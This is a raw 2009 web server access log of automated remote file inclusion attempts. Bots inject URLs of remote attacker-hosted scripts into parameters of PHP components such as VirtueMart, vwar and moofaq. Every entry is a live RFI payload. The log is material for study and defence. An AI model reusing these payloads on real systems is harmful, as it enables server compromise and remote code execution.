[24/Jun/2009:13:29:38 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 47623 "-" "libwww-perl/5.805" 193.87.99.18 - - [24/Jun/2009:13:29:39 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 302 737 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:39 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 302 792 "-" "libwww-perl/5.79" 80.247.76.181 - - [24/Jun/2009:13:29:40 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 796 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:40 -0600] "GET //index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 741 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:40 -0600] "GET //index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 741 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:40 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 796 "-" "libwww-perl/5.805" 193.87.99.18 - - [24/Jun/2009:13:29:40 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 302 792 "-" "libwww-perl/5.79" 80.247.76.181 - - [24/Jun/2009:13:29:40 -0600] "GET //index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 741 "-" "libwww-perl/5.805" 193.87.99.18 - - [24/Jun/2009:13:29:40 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 302 792 "-" "libwww-perl/5.79" 80.247.76.181 - - [24/Jun/2009:13:29:41 -0600] "GET //index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 741 "-" "libwww-perl/5.805" 193.87.99.18 - - [24/Jun/2009:13:29:41 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 302 771 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:42 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 302 771 "-" "libwww-perl/5.79" 80.247.76.181 - - [24/Jun/2009:13:29:40 -0600] "GET /?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 110395 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:42 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 775 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:41 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 796 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:41 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 775 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:42 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 796 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:40 -0600] "GET /?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 110137 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:42 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 796 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:43 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 796 "-" "libwww-perl/5.805" 193.87.99.18 - - [24/Jun/2009:13:29:41 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 200 110020 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:41 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 200 109877 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:41 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 200 109959 "-" "libwww-perl/5.79" 80.247.76.181 - - [24/Jun/2009:13:29:44 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 775 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:43 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 775 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:41 -0600] "GET /?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 110386 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:42 -0600] "GET /?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 110427 "-" "libwww-perl/5.805" 193.87.99.18 - - [24/Jun/2009:13:29:42 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 302 771 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:43 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 200 47581 "-" "libwww-perl/5.79" 80.247.76.181 - - [24/Jun/2009:13:29:44 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 775 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:43 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 46915 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:42 -0600] "GET /?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 110426 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:44 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 775 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:42 -0600] "GET /?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 109833 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:43 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 46914 "-" "libwww-perl/5.805" 193.87.99.18 - - [24/Jun/2009:13:29:43 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 200 46959 "-" "libwww-perl/5.79" 80.247.76.181 - - [24/Jun/2009:13:29:45 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 46915 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:45 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 46915 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:45 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 46915 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:45 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 46915 "-" "libwww-perl/5.805" 193.87.99.18 - - [24/Jun/2009:13:29:45 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 200 46906 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:46 -0600] "GET //index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 741 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:46 -0600] "GET //index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 741 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:47 -0600] "GET //index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 741 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:47 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 796 "-" "libwww-perl/5.79" 80.247.76.181 - - [24/Jun/2009:13:29:48 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 740 "-" "libwww-perl/5.805" 193.87.99.18 - - [24/Jun/2009:13:29:47 -0600] "GET /?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 109300 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:47 -0600] "GET /?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 109946 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:48 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 775 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:48 -0600] "GET /?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 109170 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:49 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 796 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:49 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 46915 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:48 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 796 "-" "libwww-perl/5.79" 80.247.76.181 - - [24/Jun/2009:13:29:49 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 109089 "-" "libwww-perl/5.805" 193.87.99.18 - - [24/Jun/2009:13:29:50 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 775 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:51 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 775 "-" "libwww-perl/5.79" 80.247.76.181 - - [24/Jun/2009:13:29:51 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 740 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:51 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 740 "-" "libwww-perl/5.805" 193.87.99.18 - - [24/Jun/2009:13:29:51 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 46914 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:52 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 46914 "-" "libwww-perl/5.79" 80.247.76.181 - - [24/Jun/2009:13:29:52 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 109276 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:54 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 740 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:52 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 109007 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:55 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 109236 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:58 -0600] "GET //index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 741 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:59 -0600] "GET //index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 741 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:59 -0600] "GET /?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 109342 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:30:00 -0600] "GET /?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 110014 "-" "libwww-perl/5.805" 193.87.99.18 - - [24/Jun/2009:13:30:12 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 302 737 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:30:13 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 200 109583 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:30:15 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 302 737 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:30:16 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 200 109127 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:30:20 -0600] "GET //index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 741 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:30:21 -0600] "GET /?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 109144 "-" "libwww-perl/5.79" 59.125.5.1 - - [24/Jun/2009:13:32:50 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/errors.php?error=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 404 566 "-" "Mozilla/5.0" 59.125.5.1 - - [24/Jun/2009:13:32:50 -0600] "GET ///administrator/components/com_virtuemart/errors.php?error=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 302 820 "-" "Mozilla/5.0" 59.125.5.1 - - [24/Jun/2009:13:32:54 -0600] "GET ///administrator/components/com_virtuemart/errors.php?error=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 404 33744 "-" "Mozilla/5.0" 89.186.1.54 - - [24/Jun/2009:14:02:28 -0600] "GET /rfi.txt//skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=http://defensive.ru//prog/lib/ID.txt?? HTTP/1.1" 404 616 "-" "libwww-perl/5.800" 89.186.1.54 - - [24/Jun/2009:14:02:28 -0600] "GET //skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=http://defensive.ru//prog/lib/ID.txt?? HTTP/1.1" 302 858 "-" "libwww-perl/5.800" 89.186.1.54 - - [24/Jun/2009:14:02:29 -0600] "GET //skin_shop/standard/2_view_body/body_default.php?GOODSno=deadbeef&GOODSgs_input=deadbeef&shop_this_skin_path=http://defensive.ru//prog/lib/ID.txt?? HTTP/1.1" 404 33918 "-" "libwww-perl/5.800" 151.68.232.85 - - [24/Jun/2009:16:13:22 -0600] "GET /rfi.txt/convert/mvcw.php?vwar_root=http://lam3rland.altervista.org/id.txt? HTTP/1.1" 404 523 "-" "libwww-perl/5.820" 151.68.232.85 - - [24/Jun/2009:16:13:22 -0600] "GET /convert/mvcw.php?vwar_root=http://lam3rland.altervista.org/id.txt? HTTP/1.1" 302 777 "-" "libwww-perl/5.820" 151.68.232.85 - - [24/Jun/2009:16:13:23 -0600] "GET /convert/mvcw.php?vwar_root=http://lam3rland.altervista.org/id.txt? HTTP/1.1" 404 33542 "-" "libwww-perl/5.820" 86.39.131.85 - - [24/Jun/2009:16:47:15 -0600] "GET /rfi.txt/?_SERVER[DOCUMENT_ROOT]=http://motorcrew.co.kr/home/images/detail/test2.jpg/src/edit/id8.txt??? HTTP/1.1" 404 552 "-" "libwww-perl/5.79" 86.39.131.85 - - [24/Jun/2009:16:47:15 -0600] "GET /?_SERVER[DOCUMENT_ROOT]=http://motorcrew.co.kr/home/images/detail/test2.jpg/src/edit/id8.txt??? HTTP/1.1" 302 784 "-" "libwww-perl/5.79" 86.39.131.85 - - [24/Jun/2009:16:47:16 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://motorcrew.co.kr/home/images/detail/test2.jpg/src/edit/id8.txt??? HTTP/1.1" 200 109576 "-" "libwww-perl/5.79" 151.68.232.85 - - [24/Jun/2009:16:52:20 -0600] "GET /rfi.txt/convert/mvcw.php?step=1&vwar_root=http://lam3rland.altervista.org/id.txt? HTTP/1.1" 404 534 "-" "libwww-perl/5.820" 151.68.232.85 - - [24/Jun/2009:16:52:21 -0600] "GET /convert/mvcw.php?step=1&vwar_root=http://lam3rland.altervista.org/id.txt? HTTP/1.1" 302 784 "-" "libwww-perl/5.820" 151.68.232.85 - - [24/Jun/2009:16:52:22 -0600] "GET /convert/mvcw.php?step=1&vwar_root=http://lam3rland.altervista.org/id.txt? HTTP/1.1" 404 14828 "-" "libwww-perl/5.820" 125.214.64.102 - - [24/Jun/2009:17:33:45 -0600] "GET /rfi.txt//errors.php?error=http://www.ecobook.or.kr/ecobook/data/ecobook/1132295039/copyright.txt???? HTTP/1.1" 404 549 "-" "Mozilla/5.0" 125.214.64.102 - - [24/Jun/2009:17:33:45 -0600] "GET //errors.php?error=http://www.ecobook.or.kr/ecobook/data/ecobook/1132295039/copyright.txt???? HTTP/1.1" 302 803 "-" "Mozilla/5.0" 125.214.64.102 - - [24/Jun/2009:17:33:46 -0600] "GET //errors.php?error=http://www.ecobook.or.kr/ecobook/data/ecobook/1132295039/copyright.txt???? HTTP/1.1" 404 33685 "-" "Mozilla/5.0" 121.165.73.157 - - [24/Jun/2009:18:20:05 -0600] "GET //technote7/skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=http://www.aptd.ru/files/id.txt?? HTTP/1.1" 302 863 "-" "libwww-perl/5.805" 121.165.73.157 - - [24/Jun/2009:18:20:06 -0600] "GET //technote7/skin_shop/standard/2_view_body/body_default.php?GOODSno=deadbeef&GOODSgs_input=deadbeef&shop_this_skin_path=http://www.aptd.ru/files/id.txt?? HTTP/1.1" 404 33927 "-" "libwww-perl/5.805" 121.165.73.157 - - [24/Jun/2009:18:20:39 -0600] "GET //technote7/skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=http://www.aptd.ru/files/id.txt?? HTTP/1.1" 302 863 "-" "libwww-perl/5.805" 121.165.73.157 - - [24/Jun/2009:18:20:41 -0600] "GET //technote7/skin_shop/standard/2_view_body/body_default.php?GOODSno=deadbeef&GOODSgs_input=deadbeef&shop_this_skin_path=http://www.aptd.ru/files/id.txt?? HTTP/1.1" 404 33926 "-" "libwww-perl/5.805" 121.165.73.157 - - [24/Jun/2009:18:28:52 -0600] "GET /rfi.txt//technote7/skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=http://www.aptd.ru/files/id.txt?? HTTP/1.1" 404 621 "-" "libwww-perl/5.805" 121.165.73.157 - - [24/Jun/2009:18:29:30 -0600] "GET /rfi.txt//technote7/skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=http://www.aptd.ru/files/id.txt?? HTTP/1.1" 404 621 "-" "libwww-perl/5.805" 59.125.5.1 - - [24/Jun/2009:18:29:41 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 404 583 "-" "Mozilla/5.0" 59.125.5.1 - - [24/Jun/2009:18:29:41 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 302 837 "-" "Mozilla/5.0" 59.125.5.1 - - [24/Jun/2009:18:29:44 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 404 33815 "-" "Mozilla/5.0" 219.94.194.231 - - [24/Jun/2009:18:39:01 -0600] "GET /rfi.txt///components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 404 567 "-" "Mozilla/5.0" 219.94.194.231 - - [24/Jun/2009:18:39:01 -0600] "GET ///components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 302 821 "-" "Mozilla/5.0" 219.94.194.231 - - [24/Jun/2009:18:39:02 -0600] "GET ///components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 404 33712 "-" "Mozilla/5.0" 213.189.2.38 - - [24/Jun/2009:18:43:17 -0600] "GET /rfi.txt///components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://rsh.kiev.ua/images/idfx1.txt???? HTTP/1.1" 404 573 "-" "Mozilla/5.0" 213.189.2.38 - - [24/Jun/2009:18:43:17 -0600] "GET ///components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://rsh.kiev.ua/images/idfx1.txt???? HTTP/1.1" 302 827 "-" "Mozilla/5.0" 213.189.2.38 - - [24/Jun/2009:18:43:18 -0600] "GET ///components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://rsh.kiev.ua/images/idfx1.txt???? HTTP/1.1" 404 34067 "-" "Mozilla/5.0" 72.82.228.83 - - [24/Jun/2009:18:47:56 -0600] "GET /rfi.txt/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://buminch.org/bbs/fx29id1.txt??? HTTP/1.1" 404 552 "-" "Mozilla/5.0" 72.82.228.83 - - [24/Jun/2009:18:47:56 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://buminch.org/bbs/fx29id1.txt??? HTTP/1.1" 302 802 "-" "Mozilla/5.0" 72.82.228.83 - - [24/Jun/2009:18:48:02 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://buminch.org/bbs/fx29id1.txt??? HTTP/1.1" 404 33789 "-" "Mozilla/5.0" 72.82.228.83 - - [24/Jun/2009:18:53:54 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://buminch.org/bbs/fx29id1.txt??? HTTP/1.1" 302 802 "-" "Mozilla/5.0" 72.82.228.83 - - [24/Jun/2009:18:53:54 -0600] "GET /rfi.txt%20%20/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://buminch.org/bbs/fx29id1.txt??? HTTP/1.1" 302 816 "-" "Mozilla/5.0" 72.82.228.83 - - [24/Jun/2009:18:54:00 -0600] "GET /rfi.txt%20%20/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://buminch.org/bbs/fx29id1.txt??? HTTP/1.1" 404 33776 "-" "Mozilla/5.0" 72.82.228.83 - - [24/Jun/2009:18:54:00 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://buminch.org/bbs/fx29id1.txt??? HTTP/1.1" 404 33727 "-" "Mozilla/5.0" 91.121.137.51 - - [24/Jun/2009:20:04:07 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://kuettner.it/yes.txt??? HTTP/1.1" 404 562 "-" "libwww-perl/5.805" 91.121.137.51 - - [24/Jun/2009:20:04:07 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://kuettner.it/yes.txt??? HTTP/1.1" 302 816 "-" "libwww-perl/5.805" 91.121.137.51 - - [24/Jun/2009:20:04:08 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://kuettner.it/yes.txt??? HTTP/1.1" 404 33706 "-" "libwww-perl/5.805" 91.121.137.51 - - [24/Jun/2009:20:04:12 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.702com.net/images/702b/yes.txt???? HTTP/1.1" 404 578 "-" "libwww-perl/5.805" 91.121.137.51 - - [24/Jun/2009:20:04:13 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.702com.net/images/702b/yes.txt???? HTTP/1.1" 302 832 "-" "libwww-perl/5.805" 91.121.137.51 - - [24/Jun/2009:20:04:13 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.702com.net/images/702b/yes.txt???? HTTP/1.1" 404 33788 "-" "libwww-perl/5.805" 209.172.33.230 - - [24/Jun/2009:20:08:39 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.abi07-pgg.de/abi07/cache/baner.txt?? HTTP/1.1" 404 580 "-" "Mozilla/5.0" 209.172.33.230 - - [24/Jun/2009:20:08:39 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.abi07-pgg.de/abi07/cache/baner.txt?? HTTP/1.1" 302 834 "-" "Mozilla/5.0" 209.172.33.230 - - [24/Jun/2009:20:08:40 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.abi07-pgg.de/abi07/cache/baner.txt?? HTTP/1.1" 404 33845 "-" "Mozilla/5.0" 195.209.236.77 - - [24/Jun/2009:20:18:07 -0600] "GET /rfi.txt//administrator/components/com_moofaq/css/file_includer.php?file=http://www.euroexpo.ro/atmail/remember.txt??? HTTP/1.1" 404 566 "-" "Mozilla/5.0" 195.209.236.77 - - [24/Jun/2009:20:18:07 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://www.euroexpo.ro/atmail/remember.txt??? HTTP/1.1" 302 820 "-" "Mozilla/5.0" 195.209.236.77 - - [24/Jun/2009:20:18:08 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://www.euroexpo.ro/atmail/remember.txt??? HTTP/1.1" 404 33729 "-" "Mozilla/5.0" 66.221.37.118 - - [24/Jun/2009:20:18:18 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.sameta.ru/docs/baner.txt?? HTTP/1.0" 404 551 "-" "Mozilla/5.0" 66.221.37.118 - - [24/Jun/2009:20:18:18 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.sameta.ru/docs/baner.txt?? HTTP/1.0" 302 824 "-" "Mozilla/5.0" 66.221.37.118 - - [24/Jun/2009:20:18:19 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.sameta.ru/docs/baner.txt?? HTTP/1.0" 404 33690 "-" "Mozilla/5.0" 60.43.229.5 - - [24/Jun/2009:20:40:40 -0600] "GET /rfi.txt//administrator/components/com_moofaq/css/file_includer.php?file=http://www.euroexpo.ro/atmail/remember.txt??? HTTP/1.0" 404 547 "-" "Mozilla/5.0" 60.43.229.5 - - [24/Jun/2009:20:40:40 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://www.euroexpo.ro/atmail/remember.txt??? HTTP/1.0" 302 820 "-" "Mozilla/5.0" 60.43.229.5 - - [24/Jun/2009:20:40:41 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://www.euroexpo.ro/atmail/remember.txt??? HTTP/1.0" 404 33680 "-" "Mozilla/5.0" 85.17.162.28 - - [25/Jun/2009:11:43:34 -0600] "GET 